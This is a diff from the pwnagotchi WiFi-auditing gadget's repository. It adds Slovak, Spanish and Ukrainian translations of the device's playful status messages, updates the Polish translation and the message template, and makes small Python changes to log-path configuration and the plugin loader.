|
||||
msgid "Ops, something went wrong ... Rebooting ..."
|
||||
msgstr "Ups, coś poszło nie tak ... Restaruję ..."
|
||||
|
||||
@@ -195,8 +226,8 @@ msgid ""
|
||||
"#pwnlog #pwnlife #hacktheplanet #skynet"
|
||||
msgstr ""
|
||||
"Pwnowałem {duration} i wyrzuciłem {deauthed} klientów! Spotkałem także "
|
||||
"{associated} nowych przyjaciół i zjadłem {handshakes} handshake'ow! #pwnagotchi "
|
||||
"#pwnlog #pwnlife #hacktheplanet #skynet"
|
||||
"{associated} nowych przyjaciół i zjadłem {handshakes} handshake'ow! "
|
||||
"#pwnagotchi #pwnlog #pwnlife #hacktheplanet #skynet"
|
||||
|
||||
msgid "hours"
|
||||
msgstr "godzin"
|
||||
|
BIN
pwnagotchi/locale/sk/LC_MESSAGES/voice.mo
Normal file
227
pwnagotchi/locale/sk/LC_MESSAGES/voice.po
Normal file
@@ -0,0 +1,227 @@
|
||||
# Slovak language
|
||||
# Copyright (C) 2019
|
||||
# This file is distributed under the same license as the pwnagotchi package.
|
||||
# mil1200 <mil.kyselica@gmail.com>, 2019.
|
||||
#
|
||||
#
|
||||
msgid ""
|
||||
msgstr ""
|
||||
"Project-Id-Version: 0.0.1\n"
|
||||
"Report-Msgid-Bugs-To: \n"
|
||||
"POT-Creation-Date: 2019-11-8 17:55+0200\n"
|
||||
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
|
||||
"Last-Translator: Milan Kyselica <mil.kyselica@gmail.com>\n"
|
||||
"Language-Team: SK\n"
|
||||
"Language: sk\n"
|
||||
"MIME-Version: 1.0\n"
|
||||
"Content-Type: text/plain; charset=utf-8\n"
|
||||
"Content-Transfer-Encoding: 8bit\n"
|
||||
|
||||
msgid "ZzzzZZzzzzZzzz"
|
||||
msgstr "ZzzzZZzzzzZzzz"
|
||||
|
||||
msgid "Hi, I'm Pwnagotchi! Starting ..."
|
||||
msgstr "Ahoj, ja som Pwnagotchi! Začíname ..."
|
||||
|
||||
msgid "New day, new hunt, new pwns!"
|
||||
msgstr "Nový deň, nový lov, nové pwns!"
|
||||
|
||||
msgid "Hack the Planet!"
|
||||
msgstr "Hacknime Planétu!"
|
||||
|
||||
msgid "AI ready."
|
||||
msgstr "AI pripravené."
|
||||
|
||||
msgid "The neural network is ready."
|
||||
msgstr "Neurónová sieť je pripravená."
|
||||
|
||||
msgid "Generating keys, do not turn off ..."
|
||||
msgstr "Generujú sa kľúče, nevypínaj ..."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Hey, channel {channel} is free! Your AP will say thanks."
|
||||
msgstr "Hej, kanál {channel} je voľný! Váš AP vám poďakuje."
|
||||
|
||||
msgid "I'm bored ..."
|
||||
msgstr "Nudím sa ..."
|
||||
|
||||
msgid "Let's go for a walk!"
|
||||
msgstr "Poďme na prechádzku!"
|
||||
|
||||
msgid "This is the best day of my life!"
|
||||
msgstr "Toto je najlepší deň môjho života!"
|
||||
|
||||
msgid "Shitty day :/"
|
||||
msgstr "Na hovno deň :/"
|
||||
|
||||
msgid "I'm extremely bored ..."
|
||||
msgstr "Veľmi sa nudím ..."
|
||||
|
||||
msgid "I'm very sad ..."
|
||||
msgstr "Som veľmi smutný ..."
|
||||
|
||||
msgid "I'm sad"
|
||||
msgstr "Som smutný"
|
||||
|
||||
msgid "I'm living the life!"
|
||||
msgstr "Žijem život!"
|
||||
|
||||
msgid "I pwn therefore I am."
|
||||
msgstr "I pwn therefore I am."
|
||||
|
||||
msgid "So many networks!!!"
|
||||
msgstr "Toľko sietí !!!"
|
||||
|
||||
msgid "I'm having so much fun!"
|
||||
msgstr "Zabávam sa!"
|
||||
|
||||
msgid "My crime is that of curiosity ..."
|
||||
msgstr "Môj zločin je zvedavosť ..."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Hello {name}! Nice to meet you."
|
||||
msgstr "Dobrý deň, {name}! Rád som ťa spoznal."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Unit {name} is nearby!"
|
||||
msgstr "Jednotka {name} je blízko!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Uhm ... goodbye {name}"
|
||||
msgstr "Uhm ... zbohom {name}"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "{name} is gone ..."
|
||||
msgstr "{name} je preč ..."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Whoops ... {name} is gone."
|
||||
msgstr "Hups ... {name} je preč."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "{name} missed!"
|
||||
msgstr "{name} nechytené!"
|
||||
|
||||
msgid "Missed!"
|
||||
msgstr "Vedľa!"
|
||||
|
||||
msgid "Good friends are a blessing!"
|
||||
msgstr "Dobrí priatelia sú požehnaním!"
|
||||
|
||||
msgid "I love my friends!"
|
||||
msgstr "Milujem svojich priateľov!"
|
||||
|
||||
msgid "Nobody wants to play with me ..."
|
||||
msgstr "Nikto sa so mnou nechce hrať ..."
|
||||
|
||||
msgid "I feel so alone ..."
|
||||
msgstr "Cítim sa tak sám ..."
|
||||
|
||||
msgid "Where's everybody?!"
|
||||
msgstr "Kde sú všetci ?!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Napping for {secs}s ..."
|
||||
msgstr "Zdriemnem si na {secs}s ..."
|
||||
|
||||
msgid "Zzzzz"
|
||||
msgstr "Zzzzz"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "ZzzZzzz ({secs}s)"
|
||||
msgstr "ZzzZzzz ({secs}s)"
|
||||
|
||||
msgid "Good night."
|
||||
msgstr "Dobrú noc."
|
||||
|
||||
msgid "Zzz"
|
||||
msgstr "Zzz"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Waiting for {secs}s ..."
|
||||
msgstr "Čaká sa {secs}s ..."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Looking around ({secs}s)"
|
||||
msgstr "Rozhliadam sa okolo ({secs} s)"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Hey {what} let's be friends!"
|
||||
msgstr "Ahoj {what} buďme priatelia!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Associating to {what}"
|
||||
msgstr "Spájam sa s {what}"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Yo {what}!"
|
||||
msgstr "Yo {what}!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Just decided that {mac} needs no WiFi!"
|
||||
msgstr "Rozhodol som sa že {mac} nepotrebuje Wi-Fi!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Deauthenticating {mac}"
|
||||
msgstr "Deautentifikujem {mac}"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Kickbanning {mac}!"
|
||||
msgstr "Kickujem {mac}!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Cool, we got {num} new handshake{plural}!"
|
||||
msgstr "Super, máme {num} nový handshake{plural}!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "You have {count} new message{plural}!"
|
||||
msgstr "Máte {count} novú správu{plural}!"
|
||||
|
||||
msgid "Ops, something went wrong ... Rebooting ..."
|
||||
msgstr "Ops, niečo sa pokazilo ... Reštartujem sa ..."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Kicked {num} stations\n"
|
||||
msgstr "Kicknutá/ých {num} stanica/íc\n"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Made {num} new friends\n"
|
||||
msgstr "Získaní {num} noví kamaráti\n"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Got {num} handshakes\n"
|
||||
msgstr "Získali sme {num} handshake/-y/ov rúk\n"
|
||||
|
||||
msgid "Met 1 peer"
|
||||
msgstr "Sretli sme 1 rovesníka"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Met {num} peers"
|
||||
msgstr "Stretli sme {num} rovesníkov"
|
||||
|
||||
#, python-brace-format
|
||||
msgid ""
|
||||
"I've been pwning for {duration} and kicked {deauthed} clients! I've also met "
|
||||
"{associated} new friends and ate {handshakes} handshakes! #pwnagotchi "
|
||||
"#pwnlog #pwnlife #hacktheplanet #skynet"
|
||||
msgstr "Pwnoval som {duration} a kickol som {deauthed} klienta/ov! Tiež som"
|
||||
"stretol {associated} nového/ých kamaráta/ov a zjedol {handshakes} handshake/y!"
|
||||
" #pwnagotchi #pwnlog #pwnlife #hacktheplanet #skynet"
|
||||
|
||||
msgid "hours"
|
||||
msgstr "hodiny"
|
||||
|
||||
msgid "minutes"
|
||||
msgstr "minúty"
|
||||
|
||||
msgid "seconds"
|
||||
msgstr "sekundy"
|
||||
|
||||
msgid "hour"
|
||||
msgstr "hodina"
|
||||
|
||||
msgid "minute"
|
||||
msgstr "minúta"
|
||||
|
||||
msgid "second"
|
||||
msgstr "sekunda"
|
248
pwnagotchi/locale/spa/LC_MESSAGES/voice.po
Normal file
@@ -0,0 +1,248 @@
|
||||
# Interfaz en español para pwnagotchi
|
||||
# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
|
||||
# This file is distributed under the same license as the PACKAGE package.
|
||||
# Angel Hernandez Segura, 2019.
|
||||
#
|
||||
#, fuzzy
|
||||
msgid ""
|
||||
msgstr ""
|
||||
"Project-Id-Version: PACKAGE VERSION\n"
|
||||
"Report-Msgid-Bugs-To: \n"
|
||||
"POT-Creation-Date: 2019-11-04 12:57+0100\n"
|
||||
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
|
||||
"Last-Translator: Angel Hernandez Segura <ahsec.7@gmail.com>\n"
|
||||
"Language-Team: Español <LL@li.org>\n"
|
||||
"Language: \n"
|
||||
"MIME-Version: 1.0\n"
|
||||
"Content-Type: text/plain; charset=CHARSET\n"
|
||||
"Content-Transfer-Encoding: 8bit\n"
|
||||
|
||||
msgid "ZzzzZZzzzzZzzz"
|
||||
msgstr "ZzzzZZzzzzZzzz"
|
||||
|
||||
msgid "Hi, I'm Pwnagotchi! Starting ..."
|
||||
msgstr "Hola, Soy Pwnagotchi! Iniciando..."
|
||||
|
||||
msgid "New day, new hunt, new pwns!"
|
||||
msgstr "Un nuevo dia, nuevos objetivos, nuevos pwns"
|
||||
|
||||
msgid "Hack the Planet!"
|
||||
msgstr "Hack the Planet!"
|
||||
|
||||
msgid "AI ready."
|
||||
msgstr "IA lista"
|
||||
|
||||
msgid "The neural network is ready."
|
||||
msgstr "La red neuronal esta lista"
|
||||
|
||||
msgid "Generating keys, do not turn off ..."
|
||||
msgstr "Generando llaves, no apagar"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Hey, channel {channel} is free! Your AP will say thanks."
|
||||
msgstr "Hey, canal {channel} esta libre! Tu AP te lo agredecera"
|
||||
|
||||
msgid "Reading last session logs ..."
|
||||
msgstr "Leyendo logs de la ultima sesion"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Read {lines_so_far} log lines so far ..."
|
||||
msgstr "He leido {lines_so_far} lineas de los logs hasta ahora "
|
||||
|
||||
msgid "I'm bored ..."
|
||||
msgstr "Estoy aburrido"
|
||||
|
||||
msgid "Let's go for a walk!"
|
||||
msgstr "Vamos a caminar!"
|
||||
|
||||
msgid "This is the best day of my life!"
|
||||
msgstr "Este es el mejor dia de mi vida"
|
||||
|
||||
msgid "Shitty day :/"
|
||||
msgstr "Dia de mierda :/"
|
||||
|
||||
msgid "I'm extremely bored ..."
|
||||
msgstr "Estoy extremadamente aburrido ..."
|
||||
|
||||
msgid "I'm very sad ..."
|
||||
msgstr "Estoy mut triste"
|
||||
|
||||
msgid "I'm sad"
|
||||
msgstr "Estoy triste"
|
||||
|
||||
msgid "Leave me alone ..."
|
||||
msgstr "Dejame solo ..."
|
||||
|
||||
msgid "I'm mad at you!"
|
||||
msgstr "Estoy enojado contigo!"
|
||||
|
||||
msgid "I'm living the life!"
|
||||
msgstr "Estoy disfrutando la vida!"
|
||||
|
||||
msgid "I pwn therefore I am."
|
||||
msgstr "Yo pwn, por lo tanto existo"
|
||||
|
||||
msgid "So many networks!!!"
|
||||
msgstr "Tantas redes!!!"
|
||||
|
||||
msgid "I'm having so much fun!"
|
||||
msgstr "Me estoy divirtiendo mucho!"
|
||||
|
||||
msgid "My crime is that of curiosity ..."
|
||||
msgstr "Mi crimen es la curiosidad ..."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Hello {name}! Nice to meet you."
|
||||
msgstr "Hola {name}! Mucho gusto."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Yo {name}! Sup?"
|
||||
msgstr "Yo {name}! Que hay?"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Hey {name} how are you doing?"
|
||||
msgstr "Hey {name} como te va?"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Unit {name} is nearby!"
|
||||
msgstr "Unit {name} esta cerca!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Uhm ... goodbye {name}"
|
||||
msgstr "Uhm ... adios {name}"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "{name} is gone ..."
|
||||
msgstr "{name} se fue ..."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Whoops ... {name} is gone."
|
||||
msgstr "Whoops ... {name} se fue"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "{name} missed!"
|
||||
msgstr "{name} se ha perdido!"
|
||||
|
||||
msgid "Missed!"
|
||||
msgstr "Perdido!"
|
||||
|
||||
msgid "Good friends are a blessing!"
|
||||
msgstr "Los buenos amigos son una bendicion"
|
||||
|
||||
msgid "I love my friends!"
|
||||
msgstr "Amo a mis amigos!"
|
||||
|
||||
msgid "Nobody wants to play with me ..."
|
||||
msgstr "Nadie quiere jugar conmigo ..."
|
||||
|
||||
msgid "I feel so alone ..."
|
||||
msgstr "Me siento muy solo ..."
|
||||
|
||||
msgid "Where's everybody?!"
|
||||
msgstr "Donde estan todos?!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Napping for {secs}s ..."
|
||||
msgstr "Tomando una siesta por {secs}s ..."
|
||||
|
||||
msgid "Zzzzz"
|
||||
msgstr "Zzzzz"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "ZzzZzzz ({secs}s)"
|
||||
msgstr "ZzzZzzz ({secs}s) "
|
||||
|
||||
msgid "Good night."
|
||||
msgstr "Buenas noches."
|
||||
|
||||
msgid "Zzz"
|
||||
msgstr "Zzz"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Waiting for {secs}s ..."
|
||||
msgstr "Esperando por {secs}s ..."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Looking around ({secs}s)"
|
||||
msgstr "Mirando alrededor ({secs}s)"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Hey {what} let's be friends!"
|
||||
msgstr "Hey {what} vamos a ser amigos!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Associating to {what}"
|
||||
msgstr "Asociandose a {what}"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Yo {what}!"
|
||||
msgstr "Yo {what}!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Just decided that {mac} needs no WiFi!"
|
||||
msgstr "Acabo de decidir que {mac} no necesita WiFi!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Deauthenticating {mac}"
|
||||
msgstr "De-autenticando {mac}"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Kickbanning {mac}!"
|
||||
msgstr "Vetando {mac}!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Cool, we got {num} new handshake{plural}!"
|
||||
msgstr "Bien, obtuvimos {num} nuevos handshake{plural}!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "You have {count} new message{plural}!"
|
||||
msgstr "Tienes {count} nuevos mensajes{plural}!"
|
||||
|
||||
msgid "Ops, something went wrong ... Rebooting ..."
|
||||
msgstr "Oops, algo salio mal ... Reiniciando ..."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Kicked {num} stations\n"
|
||||
msgstr "Bloquee {num} staciones\n"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Made {num} new friends\n"
|
||||
msgstr "Hice {num} nuevos amigos\n"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Got {num} handshakes\n"
|
||||
msgstr "Obtuve {num} handshakes\n"
|
||||
|
||||
msgid "Met 1 peer"
|
||||
msgstr "Conoci a 1 unidad"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Met {num} peers"
|
||||
msgstr "conoci {num} unidades"
|
||||
|
||||
#, python-brace-format
|
||||
msgid ""
|
||||
"I've been pwning for {duration} and kicked {deauthed} clients! I've also met "
|
||||
"{associated} new friends and ate {handshakes} handshakes! #pwnagotchi "
|
||||
"#pwnlog #pwnlife #hacktheplanet #skynet"
|
||||
msgstr "He estado hackeando por {duration} y de-autenticando {deauthed} "
|
||||
"clientes! Tambien conoci {associated} nuevos amigos y comi {handshakes} "
|
||||
"handshakes! #pwnagotchi #pwnlog #pwnlife #hacktheplanet #skynet"
|
||||
|
||||
msgid "hours"
|
||||
msgstr "horas"
|
||||
|
||||
msgid "minutes"
|
||||
msgstr "minutos"
|
||||
|
||||
msgid "seconds"
|
||||
msgstr "segundos"
|
||||
|
||||
msgid "hour"
|
||||
msgstr "hora"
|
||||
|
||||
msgid "minute"
|
||||
msgstr "minuto"
|
||||
|
||||
msgid "second"
|
||||
msgstr "segundo"
|
BIN
pwnagotchi/locale/ua/LC_MESSAGES/voice.mo
Normal file
228
pwnagotchi/locale/ua/LC_MESSAGES/voice.po
Normal file
@@ -0,0 +1,228 @@
|
||||
# SOME DESCRIPTIVE TITLE.
|
||||
# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
|
||||
# This file is distributed under the same license as the PACKAGE package.
|
||||
# damoklov <mishanya@protonmail.com>, 2019.
|
||||
#
|
||||
#, fuzzy
|
||||
msgid ""
|
||||
msgstr ""
|
||||
"Project-Id-Version: 0.0.1\n"
|
||||
"Report-Msgid-Bugs-To: \n"
|
||||
"POT-Creation-Date: 2019-10-23 20:56+0200\n"
|
||||
"PO-Revision-Date: 2019-11-02 16:20+0200\n"
|
||||
"Last-Translator: damoklov <mishanya@protonmail.com>\n"
|
||||
"Language-Team: Ukrainian\n"
|
||||
"Language: ua\n"
|
||||
"MIME-Version: 1.0\n"
|
||||
"Content-Type: text/plain; charset=utf-8\n"
|
||||
"Content-Transfer-Encoding: 8bit\n"
|
||||
|
||||
msgid "ZzzzZZzzzzZzzz"
|
||||
msgstr "ZzzzZZzzzzZzzz"
|
||||
|
||||
msgid "Hi, I'm Pwnagotchi! Starting ..."
|
||||
msgstr "Привіт, я Pwnagotchi! Починаймо ..."
|
||||
|
||||
msgid "New day, new hunt, new pwns!"
|
||||
msgstr "Новий день, нове полювання, нові проникнення!"
|
||||
|
||||
msgid "Hack the Planet!"
|
||||
msgstr "Хакни цілу планету!"
|
||||
|
||||
msgid "AI ready."
|
||||
msgstr "Штучний інтелект готовий."
|
||||
|
||||
msgid "The neural network is ready."
|
||||
msgstr "Нейронна мережа готова."
|
||||
|
||||
msgid "Generating keys, do not turn off ..."
|
||||
msgstr "Генерую ключі, не вимикай живлення ..."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Hey, channel {channel} is free! Your AP will say thanks."
|
||||
msgstr "Агов, канал {channel} вільний! Ваша точка доступу буде вдячна."
|
||||
|
||||
msgid "I'm bored ..."
|
||||
msgstr "Мені сумно ..."
|
||||
|
||||
msgid "Let's go for a walk!"
|
||||
msgstr "Нумо прогуляймось!"
|
||||
|
||||
msgid "This is the best day of my life!"
|
||||
msgstr "Сьогодні найкращий день у моєму житті!"
|
||||
|
||||
msgid "Shitty day :/"
|
||||
msgstr "Поганенький день :/"
|
||||
|
||||
msgid "I'm extremely bored ..."
|
||||
msgstr "Мені геть сумно ..."
|
||||
|
||||
msgid "I'm very sad ..."
|
||||
msgstr "Я дуже засмучений ..."
|
||||
|
||||
msgid "I'm sad"
|
||||
msgstr "Я засмучений"
|
||||
|
||||
msgid "I'm living the life!"
|
||||
msgstr "Ось таке у мене життя!"
|
||||
|
||||
msgid "I pwn therefore I am."
|
||||
msgstr "Народжений, щоб зламувати."
|
||||
|
||||
msgid "So many networks!!!"
|
||||
msgstr "Овва, стільки мереж!!!"
|
||||
|
||||
msgid "I'm having so much fun!"
|
||||
msgstr "Мені так весело!"
|
||||
|
||||
msgid "My crime is that of curiosity ..."
|
||||
msgstr "Мій єдиний злочин - це допитливість ..."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Hello {name}! Nice to meet you."
|
||||
msgstr "Привіт, {name}! Приємно познайомитись."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Unit {name} is nearby!"
|
||||
msgstr "Ціль {name} неподалік!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Uhm ... goodbye {name}"
|
||||
msgstr "Що ж ... бувай, {name}"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "{name} is gone ..."
|
||||
msgstr "{name} зникла ..."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Whoops ... {name} is gone."
|
||||
msgstr "Ой-ой ... {name} зникла."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "{name} missed!"
|
||||
msgstr "{name} втрачено!"
|
||||
|
||||
msgid "Missed!"
|
||||
msgstr "Не впіймав!"
|
||||
|
||||
msgid "Good friends are a blessing!"
|
||||
msgstr "Справжні друзі - це чудово!"
|
||||
|
||||
msgid "I love my friends!"
|
||||
msgstr "Я люблю своїх друзів!"
|
||||
|
||||
msgid "Nobody wants to play with me ..."
|
||||
msgstr "Ніхто не хоче бавитись зі мною ..."
|
||||
|
||||
msgid "I feel so alone ..."
|
||||
msgstr "Я почуваюсь вкрай самотньо ..."
|
||||
|
||||
msgid "Where's everybody?!"
|
||||
msgstr "Куди всі зникли?!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Napping for {secs}s ..."
|
||||
msgstr "Дрімаю {secs}с ..."
|
||||
|
||||
msgid "Zzzzz"
|
||||
msgstr "Zzzzz"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "ZzzZzzz ({secs}s)"
|
||||
msgstr "ZzzZzzz ({secs}с)"
|
||||
|
||||
msgid "Good night."
|
||||
msgstr "Спокійної нічки."
|
||||
|
||||
msgid "Zzz"
|
||||
msgstr "Zzz"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Waiting for {secs}s ..."
|
||||
msgstr "Очікую {secs}с ..."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Looking around ({secs}s)"
|
||||
msgstr "Роздивляюсь довкола ({secs}с)"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Hey {what} let's be friends!"
|
||||
msgstr "Агов, {what}, будьмо друзями!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Associating to {what}"
|
||||
msgstr "Налагоджую зв'язок з {what}"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Yo {what}!"
|
||||
msgstr "Гей, {what}!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Just decided that {mac} needs no WiFi!"
|
||||
msgstr "Вирішив, що {mac} більше не потребує WiFi!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Deauthenticating {mac}"
|
||||
msgstr "Від'єднюю {mac}"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Kickbanning {mac}!"
|
||||
msgstr "Вилучаю {mac}!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Cool, we got {num} new handshake{plural}!"
|
||||
msgstr "Отакої, у нас є {num} нових рукостискань!"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "You have {count} new message{plural}!"
|
||||
msgstr "Нових повідомлень: {count}"
|
||||
|
||||
msgid "Ops, something went wrong ... Rebooting ..."
|
||||
msgstr "Ой, щось пішло не так ... Перезавантажуюсь ..."
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Kicked {num} stations\n"
|
||||
msgstr "Від'єднав {num} станцій\n"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Made {num} new friends\n"
|
||||
msgstr "Нових друзів у мене: {num}\n"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Got {num} handshakes\n"
|
||||
msgstr "Перехопив рукостискань: {num}\n"
|
||||
|
||||
msgid "Met 1 peer"
|
||||
msgstr "Зустрівся з одним знайомим"
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Met {num} peers"
|
||||
msgstr "Зустрівся з {num}-ма знайомими"
|
||||
|
||||
#, python-brace-format
|
||||
msgid ""
|
||||
"I've been pwning for {duration} and kicked {deauthed} clients! I've also met "
|
||||
"{associated} new friends and ate {handshakes} handshakes! #pwnagotchi "
|
||||
"#pwnlog #pwnlife #hacktheplanet #skynet"
|
||||
msgstr ""
|
||||
"Я зламував впродовж {duration} та від'єднав {deauthed} клієнтів! Я зустрів "
|
||||
"{associated} нових друзів та схрумав {handshakes} рукостискань! #pwnagotchi "
|
||||
"#pwnlog #pwnlife #hacktheplanet #skynet"
|
||||
|
||||
msgid "hours"
|
||||
msgstr "годин"
|
||||
|
||||
msgid "minutes"
|
||||
msgstr "хвилин"
|
||||
|
||||
msgid "seconds"
|
||||
msgstr "секунд"
|
||||
|
||||
msgid "hour"
|
||||
msgstr "година"
|
||||
|
||||
msgid "minute"
|
||||
msgstr "хвилина"
|
||||
|
||||
msgid "second"
|
||||
msgstr "секунда"
|
@@ -8,7 +8,7 @@ msgid ""
|
||||
msgstr ""
|
||||
"Project-Id-Version: PACKAGE VERSION\n"
|
||||
"Report-Msgid-Bugs-To: \n"
|
||||
"POT-Creation-Date: 2019-10-23 20:56+0200\n"
|
||||
"POT-Creation-Date: 2019-11-04 12:57+0100\n"
|
||||
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
|
||||
"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
|
||||
"Language-Team: LANGUAGE <LL@li.org>\n"
|
||||
@@ -42,6 +42,13 @@ msgstr ""
|
||||
msgid "Hey, channel {channel} is free! Your AP will say thanks."
|
||||
msgstr ""
|
||||
|
||||
msgid "Reading last session logs ..."
|
||||
msgstr ""
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Read {lines_so_far} log lines so far ..."
|
||||
msgstr ""
|
||||
|
||||
msgid "I'm bored ..."
|
||||
msgstr ""
|
||||
|
||||
@@ -63,6 +70,12 @@ msgstr ""
|
||||
msgid "I'm sad"
|
||||
msgstr ""
|
||||
|
||||
msgid "Leave me alone ..."
|
||||
msgstr ""
|
||||
|
||||
msgid "I'm mad at you!"
|
||||
msgstr ""
|
||||
|
||||
msgid "I'm living the life!"
|
||||
msgstr ""
|
||||
|
||||
@@ -82,6 +95,14 @@ msgstr ""
|
||||
msgid "Hello {name}! Nice to meet you."
|
||||
msgstr ""
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Yo {name}! Sup?"
|
||||
msgstr ""
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Hey {name} how are you doing?"
|
||||
msgstr ""
|
||||
|
||||
#, python-brace-format
|
||||
msgid "Unit {name} is nearby!"
|
||||
msgstr ""
|
||||
|
@@ -26,7 +26,7 @@ class LastSession(object):
|
||||
def __init__(self, config):
|
||||
self.config = config
|
||||
self.voice = Voice(lang=config['main']['lang'])
|
||||
self.path = config['main']['log']
|
||||
self.path = config['main']['log']['path']
|
||||
self.last_session = []
|
||||
self.last_session_id = ''
|
||||
self.last_saved_session_id = ''
|
||||
|
@@ -1,4 +1,5 @@
|
||||
NumChannels = 140
|
||||
NumChannelsExt = 165 # see https://github.com/evilsocket/pwnagotchi/issues/583
|
||||
|
||||
|
||||
def freq_to_channel(freq):
|
||||
|
@@ -1,5 +1,6 @@
|
||||
import os
|
||||
import glob
|
||||
import _thread
|
||||
import importlib, importlib.util
|
||||
import logging
|
||||
|
||||
@@ -7,20 +8,20 @@ default_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "defaul
|
||||
loaded = {}
|
||||
|
||||
|
||||
def dummy_callback():
|
||||
pass
|
||||
class Plugin:
|
||||
@classmethod
|
||||
def __init_subclass__(cls, **kwargs):
|
||||
super().__init_subclass__(**kwargs)
|
||||
global loaded
|
||||
plugin_name = cls.__module__.split('.')[0]
|
||||
plugin_instance = cls()
|
||||
logging.debug("loaded plugin %s as %s" % (plugin_name, plugin_instance))
|
||||
loaded[plugin_name] = plugin_instance
|
||||
|
||||
|
||||
def on(event_name, *args, **kwargs):
|
||||
global loaded
|
||||
cb_name = 'on_%s' % event_name
|
||||
for plugin_name, plugin in loaded.items():
|
||||
if cb_name in plugin.__dict__:
|
||||
try:
|
||||
plugin.__dict__[cb_name](*args, **kwargs)
|
||||
except Exception as e:
|
||||
logging.error("error while running %s.%s : %s" % (plugin_name, cb_name, e))
|
||||
logging.error(e, exc_info=True)
|
||||
one(plugin_name, event_name, *args, **kwargs)
|
||||
|
||||
|
||||
def one(plugin_name, event_name, *args, **kwargs):
|
||||
@@ -28,15 +29,17 @@ def one(plugin_name, event_name, *args, **kwargs):
|
||||
if plugin_name in loaded:
|
||||
plugin = loaded[plugin_name]
|
||||
cb_name = 'on_%s' % event_name
|
||||
if cb_name in plugin.__dict__:
|
||||
callback = getattr(plugin, cb_name, None)
|
||||
if callback is not None and callable(callback):
|
||||
try:
|
||||
plugin.__dict__[cb_name](*args, **kwargs)
|
||||
_thread.start_new_thread(callback, (*args, *kwargs))
|
||||
except Exception as e:
|
||||
logging.error("error while running %s.%s : %s" % (plugin_name, cb_name, e))
|
||||
logging.error(e, exc_info=True)
|
||||
|
||||
|
||||
def load_from_file(filename):
|
||||
logging.debug("loading %s" % filename)
|
||||
plugin_name = os.path.basename(filename.replace(".py", ""))
|
||||
spec = importlib.util.spec_from_file_location(plugin_name, filename)
|
||||
instance = importlib.util.module_from_spec(spec)
|
||||
